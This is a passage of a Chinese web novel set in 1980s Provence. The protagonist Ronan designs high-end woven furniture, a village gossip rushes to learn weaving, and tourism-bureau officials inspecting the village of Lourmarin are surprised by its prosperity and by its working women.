布鲁诺一家搬来普罗旺斯不容易,尤其他们还有两个孩子,去不信任的地方工作罗南不放心罗南想给阿曼达找一个他熟悉的老板。 “距离月底还有不短的时间,看看事态发展情况再说吧。” 罗南已经有半年没有在家里干过活了。 餐厅开业初期需要操心的事情多,需要做点什么也搬去餐厅了,而且开业不久天气就凉了,不适合户外工作,后院的驴棚先是堆满了葡萄藤,后来又拆了根本就没有干活的地方。 随着3月的到来,白天的气温,尤其是中午前后几个小时明显暖和了,昨天在格拉斯和伊内斯逛花园时都能看到一些小嫩芽。 总之,每天都能看到大地反青的迹象可以重新在户外工作了。 回到家,罗南先是照例去后院的工作室看了进展,他几乎每天都要过来。 此时的工作室已经完成了80%以上,外墙已经做好,伙计们正在做内部的墙面和地面处理。 “还顺利吗?”罗南问格隆丁。 前几次见个格隆丁,这个腼腆的小伙子都穿着西装。 今天突然看到他穿上牛仔裤,罗南还有点不适应了。 格隆丁站在梯子上说: “非常顺利。” 周围几个干活的小伙子坏笑着看罗南: “放轻松伙计,一定可以让你的女朋友在3月中旬看到这个礼物!” 罗南白天都很少有机会在家呆着,佐伊更是好久没有来了.小情侣见面不是在餐厅就是路易家。 在佐伊的概念中,罗南后院建的是一个面积扩大了一些、可以堆放大量干葡萄藤的木工坊,而不是什么两层楼兼顾玻璃焚烧、陶瓷、木工、厨房、休息室等一体的超级大工坊。 为了给罗南省钱,卡福把工坊做成了马厩的样子,整个冬天卢尔马兰出现了许多好看的房子,村民和农夫们也没有关心过这个‘马厩’。 罗南拿走了一些暂存于这里的工具,开心的和伙计们说: “辛苦你们了,请一定要把我的工坊修好.这里对我来说无比重要。” 罗南把藤蔓和工具搬到后院户外厨房区域的大桌子上,他今天的任务是‘复刻’出一个前世很受欢迎的休闲椅。 这款椅子的工艺并不复杂,难在‘造型’上,罗南评估今天一天应该可以做好。 皮雷是政府的临时工,每天只需工作几个小时就可以下班了。 以前家里每天都能来许多妇女,叽叽喳喳的特别热闹。 现在没人做绣被了,家里冷清的不成样子,寒潮还影响了大伙的收入,做改装车的人也没了,根本没人能和大喇叭皮雷说说话。 村子里最热闹的地方是罗南的餐厅,但皮雷心里憋着一股子气,不想给罗南送钱,只能每天在村子里闲逛。 但是气就气在,无论他碰到谁,聊两句一定能绕到罗南的身上。 “什么,寒潮影响的没人找你改装车了?你去问问罗南啊,他挖松露赚了好多钱,寒潮一点都没影响到他,也许他打算买新车了呢?” “哎呀,你就别提绣被了,那东西谁愿意缝谁缝吧,我不跟你聊了啊,我是出来搬葡萄藤的,罗南又给我们下了一批订单。” “喝酒?可以啊,不过我不去老酒馆,科莫都不好好干了,天天在后面偷偷做编织花环,要喝咱们去罗南的餐厅喝,我正好馋他那的菜了。” “罗南这个小兔崽子!”皮雷怒气冲冲的去往罗南家。 你不是让我去看看吗? 好好好,我现在就去。 反正村里也没人能和我好好说话了,你看我怎么点评你那破编织家具的! 这几个月要憋死我了!! 皮雷很顺利的在罗南家找到了人,他去的时候罗南正抱着一个奇怪的东西满屋子转悠呢。 见皮雷来了,罗南把那东西放在一面墙前,笑着对他说: “你来的正好,我想给这椅子拍张照片,你帮我看看,这把休闲椅放在这面墙前面好看吗?” 经罗南提醒,皮雷才发现罗南怀里抱着的东西居然是个椅子。 皮雷深呼吸了一口,在胸腔里储存够了可以连续不间断说一分钟话的气体: “你这破椅子——” 待他看清那椅子的样子和细节,一肚子的话和气一样全部泄了出去: “怎么开花了?” 第365章 感谢你,广播侠! “干花。”罗南满意的看向自己的作品,“做花环的材料,我拿了一些。” 花环是卢尔马兰妇女们做的最熟练的单品,这些可爱的女人们设计出来了许许多多的样式,据巴蒂的不完全统计,他们一共做过三四十种不同样式的花环。 样式多,所需要的装饰物就多,给罗南发挥的空间非常大。 皮雷一连说了四五句上帝,三步并做两步走到这把休闲椅前端详: “这把椅子和你餐厅里的完全不一样。” 不止是皮雷,连巴蒂都以为罗南说的编织椅是他餐厅里那些在木框架外面缠藤条的样子。 所以当罗南说要做十几个样式时,巴蒂才会那么吃惊。 罗南对餐厅里椅子的要求是实用和结实。 现在做的椅子要做为高端家具去售卖,出发点不同,样式自然不一样了。 罗南不以为然的对目瞪口呆的皮雷说: “那只是编织椅子的其中一种,可以做的样式可多了,就像绣被上面的图案一样,想怎么设计怎么设计。” 一提绣被皮雷马上清醒了,冷哼着说: “不要把这种东西和绣被相提并论,绣被像是画家的画纸,在上面可以创作任何图案。” 罗南调整休闲椅的角度,打算拍几张照片: “没有哪个工艺更好.两者都是文化的结晶,但编织能做的样式也很多,灯、篮子、盒子、花环、装饰品、椅子、桌子、衣柜、床头柜、床常见的日常家居和用品它都可以做。” 皮雷重复了一遍罗南说的单词,每说出一个音量就提高几分,到了最后几个声音尖锐的像是女高音一样。 罗南耸肩: “是啊,这些都可以用藤蔓、草和竹子做出来。” “我不信!”皮雷理直气壮的说,“这东西做出来谁买?这种材质做出来的家具能比木头和石材结实?” 罗南轻轻拍了一下皮雷的肩膀,让他别激动: “不是我吓唬你,编织家具的价格比木头和石材贵多了,我在.巴黎见过一个编织家具店,那里面的东西没有低于1000美金的,最便宜的椅子一把也要2000美金。” “美金?!”皮雷的嗓子都喊破音了。 2000法郎在卢尔马兰都是一笔巨款,你跟我说2000美金? 罗南拿起相机,半蹲下去找寻最佳角度: “先做几把椅子试试水,如果有市场,下一步就要做桌子、柜子、床等其他家具,到时候你看看我是不是骗你。” 皮雷这个大喇叭罕见的哑火了。 他安静的在罗南家看他拍了一会照片,之后默默的离开,走的时候魂不守舍的。 罗南拍完照,拨打了卡福的传呼机,不多时电话来了。 “有什么事吗,我的伙计?”卡福那边乱糟糟的,听起来像是在某个人很多的市场里。 罗南坐到沙发上,拿起了面前的水杯: “我想跟你聊聊普罗旺斯高端家具市场的价格,还有你打算用多少钱收购编织家具?” 在做这个椅子时,罗南突然意识到,他对普罗旺斯高端家具市场并不了解,搬到这里生活后他从来没有买过什么高端的家具,逛都没逛过。 他只和佐伊去过跳蚤市场. 给皮雷报的价格不假,但那是很多年以后的价格,在1987年,编织家具只在意大利和瑞士富豪圈内小范围火热,普罗旺斯的市场一片空白。 未来这些家具样式要教给妇女们,如果耗时久,但东西卖不上价格就不合适了。 虽然价格肯定要跟着东西走,但罗南想要多掌握一些信息,好做下一个款式的设计。 卡福说的很干脆,似乎不愿意浪费时间: “你报。” 罗南笑着把手里的杯子放下: “你不怕我狮子大开口?不开玩笑了,你根据普罗旺斯家具市场给我个参考区间吧,我根据你给的信息设计椅子造型。” 卡福的语速更快了,而且听起来非常焦急: “我也不跟你开玩笑我的伙计,今天你的‘相思鸟’在格拉内博物馆展出了,你知道‘罗南’这个名字在普罗旺斯意味着什么吗?意味着一位国宝级艺术大师!不说了不说了,我要去卖货了!” 在挂电话前,卡福语速飞快的大喊: “你想卖多少就卖多少,卖多少我都要!!” 罗南握着发出忙音的话筒,不禁瞪大了眼睛。 过了一个多小时,忙完了的卡福又给罗南打了一个电话,详细介绍今天的情形。 卡福在戈尔德吃到了甜头,事先从歌迪亚那里问来了‘相思鸟’展出的时间,并提前做好了准备。 他们在格拉内博物馆附近的集市、装饰市场、家具市场都租到了临时摊位。 本以为这次肯定无法和戈尔德相提并论,因为艾克斯太大了,他们无法保证摊位能碰上去参观过‘相思鸟’的顾客。 结果也确实如预期的那样,人流量不太好,但偶尔几个被罗南名字吸引驻足的顾客,全部在他们这里买了东西。 大家纷纷表示——国宝级艺术家发起的手工合作社,做的灯一个才卖三四百法郎,也太便宜了吧? 尤其卡福他们还宣传——这里所有的东西都是由罗南主席亲自设计的。 “在戈尔德摆摊时我就说过,要把价格调上去,你和巴蒂都拦着我.说那样对之前用便宜价格买了的顾客不公平。”卡福后悔的说,“家具的价格必须要提高,提高到匹配到你的国宝艺术家的身份!” 在戈尔德顾客觉得便宜,到了艾克斯顾客依然觉得便宜卡福觉得他损失了许多许多的法郎! 罗南用安慰的语气说: “小摆件就当是打开市场了,就像你说的,我们把家具的价格提上去,我今天做了一个编织椅子,还拍了照片,等我把照片洗出来寄给你,你看看卖多少钱合适。” 罗南同样认为编织家具应该提高一些售价。 卡福的情绪平稳了一些: “不用给我看,你直接报价,你现在做的东西都是艺术品,艺术品是没有价格的。” 罗南哭笑不得的说: “我劝你冷静一点我的伙计,未来是妇女们做家具,从长远考虑,更应该把‘卢尔马兰手工艺合作社’的名气打出去。” 在编织生意中,罗南的身份和‘顾问’类似,除了每次‘企业升级’时设计一些新的单品,他不需要做任何事,钱就那样飞到口袋里了。 2月份罗南什么都没干,但从编织生意里赚到了3万多法郎。 接下来,罗南和卡福在电话里进行了很长时间的讨论。 “5000法郎?你还没看照片呢,给我5000法郎,你要卖多少,会不会太贵了?” “不行,4000也有点贵,说真的,就我今天做的这款椅子来说,它的成本并不高,只是造型比较有特色。” “10000?你怎么越说越贵了,它没有‘相思鸟’那么复杂.只是开花的造型。” “对,一把开花的椅子。”罗南揉了揉额头,突然提高了音量,“20000?卡福,你真的疯了,你疯了啊!!” “你冷静一下,我先把照片寄给你,你看到之后咱们再讨论。” 罗南家门口,去而复返的皮雷快把拳头咬碎了。 离开之后,他脑子里全部是1000美元和2000美元的符号.饭也吃不下去了,酒也喝不下去了。 事实上,编织生意的上下游利润非常透明,罗南从来没有瞒过大家,卡福还在戈尔德摆过摊,他的利润是多少大家也心知肚明。 卡福那边不予评论,那里人手多,每天四处奔波赚的是辛苦钱。 但无论卖什么东西,罗南始终只会留25%左右的利润,其他全部留给妇女们。 虽然皮雷不做编织订单,但他对这边的价格非常了解。 一个花环只能赚75法郎,繁复的灯和饰品也只有200多法郎一个。 “什么2000美元?连2000法郎都卖不上!” 清醒下来,皮雷越想越觉得,刚刚那番对话是这小兔崽子罗南使出的计谋,想要‘策反’他这个绣被最后的独苗,之后卢尔马兰就是他们编织工艺的天下了! 但他老皮雷能束手就擒吗? 他要回来戳穿这个小子的阴谋诡计! 没成想.还没进屋就听到了罗南和卡福的全部对话。 “该死的,真能赚这么多吗?”皮雷小声的咆哮。 一两百法郎他还可以为了绣被坚持坚持。 但现在可是一两万法郎了啊! 第二天卢尔马兰出现了一个大新闻。 一个比沃克吕兹省各部门要来卢尔马兰视察的消息还要大的新闻。 那些政府官员距离村民太遥远了,但皮雷是和亨利一样‘焦点’的人物。 这天天还没亮,老皮雷就出现在了巴蒂家的门口,大喇叭比太阳还勤劳。 “都几点了还不起,现在的年轻人这么懒惰吗?” “也就是卖花环和灯这种便宜的东西,偷点懒就偷点懒了,要是以后影响我学做编织家具.你就给我等着瞧吧,瘦高个!” “看什么看,不认识我啊,不认识过来看看,没错,我老皮雷来学编织了!” “为什么?因为编织赚钱啊,一个编织家具能赚好几万法郎,我为什么不来?难道所有好处都给你们这帮忘恩负义的家伙赚了去吗?我告诉你们,未来谁敢跟我抢订单,我天天去家门口骂你们去!!” 皮雷的嘴比神话故事中回声女神还勤快,连标点符号都要重复三遍。 大喇叭在巴蒂家门口骂骂咧咧了一个小时,很快卢尔马兰全村出现了许许多多的小喇叭。 “你听说了吗?如果罗南现在设计的那些编织家具能卖出去,可以给我们每一个上千法郎的报酬!” “真的假的啊,一个能给那么多?皮雷的话能相信吗?” “罗南现在是普罗旺斯最有名的艺术家之一,他设计的东西可值钱了,而且皮雷说的是1、2万法郎,他的话只能信十分之一甚至更少,1000法郎还是有的。” “上帝,一个1000法郎吗?罗南没有骗我们,他真的要带领我们发财了!!” 那之后,卢尔马兰全村热闹的像是过节了一样。 坐在门口聊天的村民们会拿出最好的酒,畅想未来有可能到来的美好。 小河边打水的妇女和孩子们,也在聊着如果赚到了钱要给家里添置些什么。 房屋里、院落中、街道上、商铺内卢尔马兰的各个角落都被一种名为幸福和希望的积极情绪所包裹。 而就在这种美好积极的氛围中.沃克吕兹省旅游局的领导们抵达了这里。 第366章 你跟我说这是卢尔马兰?谁信啊! 卢尔马兰这段时间太‘热闹’了,热闹到沃克吕兹省旅游局不想注意这里都不行。 戈尔德系列艺术活动的背后有旅游局的大力支持,在寒冷的2月,这是拉动全省旅游最重要的活动,没有之一。 本以为戈尔德是整个二月吕贝隆最耀眼的村庄,没想到在几位卢尔马兰艺术家的影响下,无数来自法国其他地区和国际的游客注意到一个名叫卢尔马兰的小村子。 卢尔马兰就是以这种高调的方式,进入了沃克吕兹省旅游局的视线内。 得到这个消息后,旅游局没有着急行事,因为以布兰科为代表的历届卢尔马兰政府每年都会向旅游局提交一份报告,里面会详尽的列举卢尔马兰的新变化和新面貌,以求打动他们。 旅游局断定卢尔马兰政府今年也一定会提交这份资料,到时候看看里面的信息就知道这里发生什么了。 但等啊等啊等,申请报告迟迟没见到接二连三有著名艺术家搬去卢尔马兰居住和生活的消息却先一步传到了他们的耳朵里。 旅游局终于开始认真对待起卢尔马兰这个小城镇,这里已经满足了扶持的标准——艺术家的聚集会吸引来小众深度游的旅客,有利于旅游业发展。 但他们同时也疑惑起来。 卢尔马兰的申请资料怎么还不交上来? 每年旅行季开始前,沃克吕兹省旅游局都会成立专项小组去各个旅游重点城市和村镇进行‘视察’。 今年,他们特意把卢尔马兰的名字放到视察名单里,想要亲眼看看这个村子。 旅游局来卢尔马兰的这天,罗南并不在村子里。 接待沃克吕兹省旅游局是卢尔马兰政府最重要的工作,布兰科等所有人都在为此做着积极的准备。 罗南打算等旅游局视察之后再找布兰科聊他在格拉斯的见闻。 不过如果罗南今天在村里,应该能认出,来视察旅游局官员中,为首的是他曾经见过的人。 “昆西,这是你第一次来卢尔马兰吗?” 旅游局这次派了三个人来卢尔马兰,两男一女。 除了曾经和略伦特先生一起参加过粉红酒爱好协会聚会的昆西,还有一位名叫威利的年轻男官员和一位年纪稍大、名叫艾利安的女性。 威利刚刚工作不久,每来到一个新的地方都会非常兴奋,汽车刚一驶入卢尔马兰地界就和昆西聊了起来。 “五六年前来过一次。”昆西是老员工了,提醒威利,“一会在卢尔马兰政府官员面前不能表露出明显的情绪起伏,喜怒哀乐都要藏在心里。” 威力理解他们今天是来工作的,但这跟情绪有什么关系呢: “情绪也不能流露?” 坐在两位男士身后的艾利安拿起小镜子和名贵的口红,做下车前最后的准备: “太过开心会让他们觉得我们要批预算了;挑错又会造成‘没戏了’的感觉,他们很可能会在视察的后半程‘用力过度’,我和昆西曾被留在一个村子里参加他们的一个什么特色晚会,晚上8点都不能离开那简直是灾难。” 威力恍然大悟的点头: “发现了隐患也不可以指明,默默记在心里。” 旅游局内部认为卢尔马兰迟迟没来申请预算,可能是由于艺术家突然的涌入,引起了一些不能明说的隐患,毕竟这个村子太小、太落后,缺少处理突发情况的能力,政府打算先把问题解决掉再来申请。 昆西最后嘱咐威利: “总之,今天的任务是视察,重要的是‘看’,如果有什么想说的,等我们离开了再讨论。” “好的。”威力把前辈们的话牢牢记在心里。 布兰科派车在D943号公路上迎接昆西一行人,并指导他们把车停在村口的停车场内。 “这个停车场是新建的吗?”昆西用闲聊的语气说,“记得上次来,我把车停在办公楼下了。” 布兰科笑容满面的说: “是的,才新建起来两个多月,里面有50个停车位,村内现在一共有三个正规停车场,村子另一侧D27公路旁有50个车位,商业街和卢尔马兰城堡中间的农田里可以停下80辆,虽然都不大,但应该可以在旅行季略微减轻一下村内停车的负担。” 参观过无数吕贝隆小村庄的艾利安露出‘看破但不说破’的微妙笑容。 卢尔马兰道路两旁的临时车位足够应付旅行季的游客。 建这么多停车场有什么用? 村口这个停车场哪有车停啊就他们这一辆,估计整个村子道路两侧的临时停车位大部分是空的。 但刚一进入卢尔马兰村内,艾利安便发现道路两侧停了好几辆车.车都停到村口了? 昆西看了看身后冷清的停车场,笑着对布兰科说: “我以为今天没有什么游客,那个停车场是空的。” 他和艾利安的反应一样。 布兰科哈哈大笑着说,做出了一个‘请’的手势: “因为你们今天要来,那个停车场对外关闭了,走吧,我带你们看看村子。” 卢尔马兰村以老教堂为中心如蜗牛壳般缓慢散开,从村口进来,越往中心走建筑越密集、路两旁的车子越多.气氛越热闹。 旅游局的三人暂时忘记了观察停车位,看了一路古建筑。 卢尔马兰和吕贝隆的其他村子一样,核心建筑群是从中世纪保留下来的,这里的历史甚至比其他村子更古老,最早可以追溯到新石器时代。 但神奇的是,即使这个季节没有鲜花和绿叶的点缀,卢尔马兰的建筑群也充满勃勃生机——大部分房子的外墙都被修缮过,还有一部分做过翻新。 “这些房子是政府出钱翻修的吗?”昆西好奇的问布兰科。 翻修这么多房子,政府需要拿出不少人力和财力。 布兰科双手背后,看两侧建筑的眼神像是看自己的孩子: “不是,是村民自发修的。” 昆西和艾利安互看了一眼。 村民自发修缮自己的房子? 这还是普罗旺斯吗? 普罗旺斯人甚至不愿意给堵了的下水道花一分钱,居然会给房子外墙花钱? 艾利安的视线中突然出现了一座颜色鲜艳的民宅。 她心中一喜,似乎是找到了答案,脱口而出道: “是因为艺术家的到来,所以改变了村民的心态吧?” 这一路时不时就会出现一座颜色亮丽的房子,而且许多普通民宅上也可能看到艺术元素。 在艺术的熏陶下,村民们自发行动起来,就不难理解了。 不过艾利安突然皱起眉头。 时间不太对,艺术家涌入卢尔马兰是最近几个月的事情吧? 布兰科骄傲的说: “艺术家来卢尔马兰之前,村民们就自发的开始修房子了,他们是被一个村民影响的。” 默默看了一路的威利惊讶的问: “被一个村民影响?如何影响的?” “咳咳——”昆西用咳嗽声提醒威利注意自己的情绪,随后他笑着对布兰科说,“没想到今天正好赶上集市,去看看吧。” 来卢尔马兰的日子是旅游局定的,所以碰上集市完全是偶然。 在看到道路两侧停了许多车时,昆西和艾利安就想到了,今天一定是集市的日子,否则在旅行淡季不该会有这么人。 不过等他们来到集市的范围,继续向中心老教堂行进时意外的发现——卢尔马兰的集市非常冷清。 顾客寥寥,街道上更多的是追跑打闹的孩子和在摊位后面坐着聊天的村民。 “来逛集市的人不太多?”昆西问身边的布兰科。 布兰科点头,实事求是的说: “卢尔马兰距离梅纳村和博尼约非常近,集市的日期也是挨着的,我们的集市文化很难推广出去.今年已经算好的,有90多个摊位,去年这个时候只有不到70个。” 昆西默默点头,没有说什么。 一年四季都举办的吕贝隆特色集市是带动村落经济提升非常重要的手段,集市文化发展受阻,游客一定就少,那么村民很难富裕起来。 他用怜悯的眼神看向两侧的本村摊主和他们的孩子: 可怜的人啊,很可能一辈子都离不开这片贫瘠的土地,无法过上幸福的人生。 突然,昆西脚步一顿。 他停在某一个卖蜂蜜的摊位前,认真打量这位摊主手边的酒瓶子。 昆西很清楚,在卢尔马兰这样的小村子里,村民平时只会喝合作酒庄或酿酒合作社生产的劣质红葡萄酒,但这个摊主拿的却是一款价格绝不算亲民的粉红酒。 斯特斯加酒庄生产的粉红酒是普罗旺斯最好的,他绝不会看错。 卢尔马兰居然有人喝粉红酒? 而且还是这么好的牌子? 虽然一肚子疑问,但昆西还是很快收回了视线。 但让人意外的是,那摊主发现昆西一直盯着自己的酒看,友好的问: “要喝一杯吗,外乡人?” 话音未落,旁边卖农具的摊主拿着一瓶教皇新堡生产的、同样价格不菲的红酒过来: “你以为谁都和你一样,被罗南带的爱喝粉红酒?外乡人红酒喝不喝?我那里还有隆河谷生产的最棒年份的干白,今天心情好,咱们把它开了。” 昆西愣在当场。 隆河谷生产的最棒年份的干白一瓶最低500多法郎啊。 就这样拿出来招待陌生人了? 在昆西震惊于村民的异样表现时,艾利安也发现了让她震惊的事情。 几个年轻妈妈在某一座民宅门口哄着几个小女孩玩,发出了代表着喜悦的声音。 同为母亲,艾利安非常在意女性和孩子们的情况。 她想要观察一下,在这种贫瘠的地方,女性和儿童是否生活在‘水深火热’里。 这一看吓了她一跳。 其中一位母亲给自己女儿涂的口红居然和艾利安化妆包里的口红是同款,而另一个妈妈手里拿的口红是另一个很昂贵的化妆品牌。 往前走了一段距离,几个小男孩打打闹闹的跑过去,艾利安又注意到,其中一个小男孩穿的球鞋居然是耐克的! 艾利安的目光在一个又一个带着笑的女人、女孩和男孩脸上扫过,越看越心惊。 卢尔马兰的集市这么冷清.但看起来村民们生活的很惬意啊。 他们每一个人脸上都带着无法掩饰的笑容。 年轻的威利同样发现了卢尔马兰不同于其他村子的地方。 部门里的前辈曾经说过,在某些地方,愚昧的本村村民是旅游业最大的阻力。 他们见到‘外乡人’和游客像是见到了‘杀父仇人’一样,非常抵触本村发展旅游业。 但威利在卢尔马兰走了半个多小时,发现这里的村民对他们这几个‘外乡人’的态度挺不错的,不能说路过的每一个人都会和他们打招呼但威利没在任何人的脸上见到敌意。 “村民的思想直接影响一个村子的未来发展高度,卢尔马兰的村民这么友好,他们一定可以发展好旅游业!” 威尔好几次想要和两位前辈讨论这个话题,但想到昆西的嘱托,又默默把话咽了下去。 他不断提醒自己,这次来卢尔马兰的主要任务是‘看’。 看这里的艺术氛围和有可能的‘隐患’在哪里。 为了了解更多,威尔离开了大部队,独自去了卫生间。 他想要利用这次机会弄清,卢尔马兰村民表现出来的热情是政府刻意营造出来的,还是真的如此。 卢尔马兰的民宅建的非常不错,但公共厕所挺‘一言难尽’的政府暂时没有资金修缮这里。 威利站在黑黢黢的卫生间门口,心里打起了退堂鼓。 这里面看起来太吓人了 要不然忍一忍? 正在他犹豫之间,从厕所里出来一个婴儿肥、白白胖胖的小伙子。 那小伙子看起来一副神清气爽的样子,还开心的哼着时下最流行的歌曲,似乎心情非常不错,路过威利时主动打招呼: “你好啊外乡人?去厕所吗?里面只是有点黑,没有恐怖的气味。” 威利说了一句谢谢,鼓起勇气走了进去。 “看来并不是刻意营造出来的,这里的村民就是很热情。”他小声嘟囔道。 威利刚把裤子脱了,听到那小胖子的声音又出现了而且听起来越来越近: “我说,你是不是怕黑啊?别怕,我来陪你!” 威利的尿意像被按了暂停键,惊慌失措的大喊: “不用,不用了谢谢!” 上帝,卢尔马兰的村民太热情了!! 第367章 谁都不能阻拦我批预算! 威利从厕所出来有些找不准方向,康奈尔主动提出带他去找伙伴。 两个人年纪差不多,康奈尔还这么热情,两个人聊了整整一路。 尽职尽责的威利没有忘记此行的目的,问康奈尔: “你是做什么工作的?” 康奈尔笑的像是个二百斤的孩子: “我干的工作可多了,种地、送货、开卡车、去餐厅打杂、哪家装修了去帮忙.我还做手工。” 威利默默叹气,心想这也太不稳定了这一定是个在夹缝中努力求生、但乐天派的小伙子,于是鼓励道: “虽然卢尔马兰的工作机会不多,但只要努力,一定会过上好日子。” 康奈尔嘿嘿嘿的笑起来,笑得威利头皮发麻: “嗯呢,我们马上就要过上好日子了,在罗南的带领下!” 这是威利第二次听到罗南的名字,上一次是那个卖农具的摊主。 不等他问清罗南是谁,康奈尔完成任务,小跑着离开: “再见,我要去‘上课’了,祝你们在卢尔马兰玩得开心!” 威利不理解的侧了下脑袋。 上课? 卢尔马兰没有属于自己的学校啊。 威利与大部队汇合时,昆西和艾利安正在研究老教堂门口的几个大喇叭。 “夏天,我会组织村民在这里看电影,喇叭是放电影用的。”布兰科给几位官员解释。 艾利安意外的挑了下眉毛。 还挺重视居民精神世界的.但吕贝隆的村民看得懂电影吗? 教堂是此次考察的重要地标之一。 这里是游客来卢尔马兰必来的景点。 哥特式的老教堂没有什么好看的,和其他村子一样,但教堂门口还愿墙上的一副画吸引了几位官员的注意。 那是一副足足有近一米长的画,上面密密麻麻的全是食物。 画上的食物生动无比、栩栩如初,威利甚至没忍住咽了一下口水。 看饿了. 艾利安啧啧称奇的对昆西说: “没想到卢尔马兰的艺术气息这么浓厚,还愿画像是艺术品一样,而且主题这么有意思。” 布兰科同样在认真欣赏这幅画,笑着说: “画这幅画时,罗南还不是艺术家,就是一个普通的村民,也不知道他许了什么愿望.画出了这么独特的东西,哦对了,就是他带动了村民们修房子的风气。” 昆西发出了一道明显的疑惑鼻音: “这两件事是同一个人?” 威利剧烈的咳嗽起来,提醒两位前辈说的太多了! 不是说不表露情绪吗? 你看看,你们都好奇成什么样子了!! 昆西笑了两声,把话题叉去了其他的地方: “我知道为什么这么在意这幅画了,到了吃午饭的时间对不对?听说卢尔马兰有一家非常有名的餐厅,带我们去看看吧。” 布兰科指了一个方向: “走吧,那里现在是卢尔马兰最著名的景点。” 卢尔马兰的集市冷冷清清,但商业街上人不少,路边的几个商铺里都有顾客在参观。 艾利安压低声音和两位同事说: “卢尔马兰商业街从开业起人流量一直不错,是吕贝隆最热闹的几条商业街之一。” 商业街也是旅游局重要的视察景点之一,这个项目在去年卢尔马兰提交的申请里提及过。 旅游局没给钱,但卢尔马兰政府自己花钱修起来了。 昆西指着商业街上最大的建筑问: “这个博物馆的主题是什么?” 布兰科轻轻下压了一下手掌: “吃完饭我们去会议室,我会好好给你们介绍博物馆的主题。” 布兰科提前打了招呼,冯珍给他们留了最好的位置。 一入座,旅游局的官员们就感受到了浓重的‘艺术’气息。 他们前面不远处的那桌客人在聊伏尔泰,左边的某一桌上放了四个画板,门口还有一个女作家正拿着钢笔写剧本,周围是给她出谋划策的人。 昆西和艾利安不知第多少次交换眼神。 调查卢尔马兰的艺术氛围是这次最重要的工作,目前看起来.氛围相当不错啊。 这里的气氛和博尼约和梅纳村的某些酒馆、咖啡厅和餐厅类似,但这两个地方是拿到资金后发展成那个样子的。 而卢尔马兰是靠自己发展成这个样子的。 如果再投入些资金卢尔马兰会发展成什么样子呢? 昆西甚至比艾利安更加惊喜。 他在许多客人的手边看到了粉红酒,这里粉红酒的普及程度似乎比戈尔德、梅纳村和博尼约更加高。 “巧合吗?”昆西默默收回了视线。 艾利安也一直在观察四周,因为她又注意到了一个非常重要的细节: “这家餐厅的服务员为什么都是女性?男人都出去打工了吗?” 经细心的艾利安提醒,两位男士才发现这个细节。 在吕贝隆,出来工作的通常是男人,女人的工作是留在家里照顾家庭和孩子。 布兰科摇头: “卢尔马兰外出打工的人不太多,男人们也在村子里。” 昆西严肃的问: “那为什么见不到男人?” 他似乎已经看到了‘隐患’的苗头! “大家吃好了吗?”布兰科礼貌的问,“吃好了我们去下一个地方吧就在这所餐厅的后厨。” 艾利安在旅游局工作了十几年,从来没有去餐厅后厨参观过。 他们是旅游局,不是工商联盟! 后厨有什么好看的? 对布兰科安排的行程非常不满的她,居然在后厨看到了她毕生最想看到的‘风景’。 不仅前厅全部是女性服务员,后厨除了一个自称是‘老板父亲’的人外,全部是女性。 “这位是莉亚,卢尔马兰第一位甜品师。”布兰科自豪的给大家介绍。 正在打蛋清的莉亚俏皮的‘纠正’: “不是卢尔马兰第一位,而是吕贝隆第一位.我是吕贝隆第一个拿到CAP证书的女甜品师,而且是3级!” “哈哈,这么关键的信息我居然没有收集到!”布兰科开玩笑的问,“我们的甜品大师最近有什么新作品吗?” 莉亚举起一只手,每说一句就扣下一根手指: “上周研发了一个莲花造型的蛋糕、更新了‘希望’所使用的巧克力,顾客们反应天气热了融化的速度太快、做了一款‘枣泥’馅儿的中式酥皮甜品,名字还没起、还跟罗南一起研发了一款果子甜品.” 艾利安发誓,这是她在吕贝隆最想看到的风景——女性们热烈的聊着自己的工作,眼神和神态里充满了一种名为自信的情绪。 “你好莉亚,能和我讲讲你的故事吗?”艾利安轻声细语的问,“你是如何决定走出家庭,拥抱变化的?” 艾利安的眼睛里同样闪烁出自信的光芒。 她要把这位女性包装成成吕贝隆的特色! 用这位叫莉亚的甜品师的经历激励其他吕贝隆的女性和游客——女人同样可以撑起一个家庭!! 莉亚耸肩,用波澜不惊的语气说: “我没有什么故事亲爱的和卢尔马兰其他女性一样,只是想让自己的家庭变得更加富裕,如果能多赚一份钱,为什么要对机会说不呢?” “你说和卢尔马兰其他女性一样是什么意思?”艾利安瞪大了双眼。 布兰科温柔的声音在她耳畔响起: “罗南不止给了女性出来工作的机会,还鼓励妇女们利用自己的双手创造更美好的未来,我们去下一个地方看看吧。” 昆西的眉毛挤压到了一起。 又是这个叫罗南的村民。 “这个名字怎么听起来有些熟悉?” 布兰科带旅游局去的下一个地点是巴蒂的院子。 许多女性选择白天来这里做编织订单,有人聊天,一天天过的既轻松又愉快。 尤其最近大家沉浸在编织家具的喜悦中,一天天可开心了。 昆西等人还没进院子,就听到了妇女们极富有感染力的笑声,带的他们的嘴角也不由得上扬起来。 进入院子,早已在这里等候多时的克劳德拿着花环给大家介绍: “妇女们做一个这种花环可以赚75法郎。” 克劳德又拿起几盏灯: “灯是100-250法郎,视样式1-2天做完。” 昆西终于找到,卢尔马兰村民敢用500法郎的酒招待陌生人的原因了: “订单稳定吗?每个月平均可以带来多少收入,统计过吗?” 这个数据当然统计过,克劳德露出灿烂的笑容,语气里满是骄傲: “罗南是国宝级艺术家,有他的名字,订单还算稳定,妇女们靠编织手工艺带来的收入每个月在2500-4000法郎之间。” 希尔维指着角落里独自做手工的约瑟芬补充: “手快、技术又高超的,一个月可以赚7000多法郎。” “7000多法郎?”威利赶紧捂住自己的嘴。 这比他赚的还多! 几个妇女用‘少见多怪’的语气对威利说: “这有什么?马上我们也能赚7000多了!” 这个院子给他们的震惊实在太大。 艾利安找了一个没人注意的空隙,对昆西小声说道: “必须要给卢尔马兰扶持!这里可以展现的东西太多了!我要把吕贝隆女性独立自强的样貌展现给全世界看!” 她之前还在心里嘲讽,卢尔马兰的村民看不懂电影结果人家全民搞艺术了! 他们三个人是一个小组,这次回去之后的报告需要为首的昆西去写。 艾利安希望影响昆西的报告内容,让他的报告更加有利于卢尔马兰一些。 昆西安慰艾利安: “先别激动,考察还没有结束,看完所有再决定。” “我们进屋吧!”布兰科站在巴蒂家门口,打断了昆西和艾利安的对话。 “里面有什么?”昆西赶紧走过去。 艾利安总是这样见到女性和孩子,什么原则和专业全部抛到脑后。 客观性是政府官员必须具备的能力。 这里是什么样,昆西就会上报什么样,绝对不带一点个人情感。 布兰科推开门: “你们不是问卢尔马兰的男人在哪里吗?” 院子里的景象深深的震惊了艾利安。 屋里的景色深深的震惊了昆西。 他看到一屋子大男人在笨拙的跟着一个又高又瘦的老师学习编织基础知识。 